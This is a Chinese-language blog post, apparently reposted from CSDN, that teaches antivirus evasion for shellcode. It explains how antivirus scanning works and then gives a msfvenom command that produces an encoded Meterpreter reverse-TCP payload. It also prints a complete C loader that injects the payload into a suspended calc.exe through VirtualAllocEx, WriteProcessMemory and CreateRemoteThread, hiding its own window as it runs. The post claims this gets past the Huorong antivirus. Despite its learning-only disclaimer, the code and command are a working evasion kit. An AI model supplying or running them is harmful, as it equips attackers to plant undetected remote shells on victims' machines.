0


免杀入门---shellcode免杀

前言

    本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。

基础概念

免杀

    免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。

杀毒软件工作原理

    市面上的杀毒软件基本由扫描器、病毒特征库和虚拟机组成,它会把文件放在虚拟机内运行,扫描该文件的特征,包括静态特征、内存特征、行为特征等,通过和病毒特征库对比来判断一个文件是否为恶意文件。安全厂商一直在收集市面上出现的恶意文件添加进他们病毒库中,所以病毒文件要做到免杀的话就必须清除它本身的特征,杀软特征库匹配不上,就会把它当作正常文件,自然也就免杀了。

杀毒软件查杀原理

    特征码扫描、文件校验和法、进程行为监测法(沙盒模式)、云查杀、主动防御技术、机器学习识别技术

何为shellcode

    shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因常让攻击者获得shell而得名。shellcode常常使用机器语言编写,可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。

    通俗讲,其实shellcode和其他代码没什么太大的区别,就是一段正常的code,常见的shellcode都是一串16进制的机器码,本质上是一段汇编指令

生成shellcode免杀马

msfvenom生成shellcode

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 \b '\x00' lhost=x.x.x.x lport=xxxx -f c 

使用vc加载C#shellcode加载器

将msf生成的shellcode放入加载器中编译成exe可执行程序 (附:大佬的shellcode加载器 )

#include "stdafx.h"
#include <Windows.h>
#include<stdio.h>
#include <tchar.h>
#include "iostream"
using namespace std;
    unsigned char shellcode[] = #[shellcode]
     
BOOL injection()
{
    TCHAR Cappname[MAX_PATH] = { 0 };
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    LPVOID lpMalwareBaseAddr;
    LPVOID lpnewVictimBaseAddr;
    HANDLE hThread;
    DWORD dwExitCode;
    BOOL bRet = FALSE;

    lpMalwareBaseAddr = shellcode;

    GetSystemDirectory(Cappname, MAX_PATH);
    _tcscat(Cappname, "\\calc.exe");
    printf("Injection program Name:%S\r\n", Cappname);

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    if (CreateProcess(Cappname, NULL, NULL, NULL,
        FALSE, CREATE_SUSPENDED
        , NULL, NULL, &si, &pi) == 0)
    {
        return bRet;
    }

    lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
        , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    if (lpnewVictimBaseAddr == NULL)
    {
        return bRet;
    }

    WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
        (LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);

    hThread = CreateRemoteThread(pi.hProcess, 0, 0,
        (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);

    WaitForSingleObject(pi.hThread, INFINITE);
    GetExitCodeProcess(pi.hProcess, &dwExitCode);
    TerminateProcess(pi.hProcess, 0);
    return bRet;
}

void help(char* proc)
{
    printf("%s:[-] \nstart a process and injection shellcode to memory\r\n", proc);
}

int main(int argc, char* argv[])
{
    HWND hwndDOS = GetForegroundWindow(); //得到前台窗口的句柄
    ShowWindow(hwndDOS, SW_HIDE); //隐藏窗口
    help(argv[0]);
    injection();
    return 0;
}

免杀效果(过火绒)

火绒

virustotal

总结

    shellcode免杀有很多种,C算是最广泛出现的了,杀毒效果并不好,免杀都具有时效性;还有很多语言的加载器Python、GO语言等。
标签: 安全 渗透测试

本文转载自: https://blog.csdn.net/LvHLong/article/details/124559566
版权归原作者 blalon 所有, 如有侵权,请联系我们删除。

“免杀入门---shellcode免杀”的评论:

还没有评论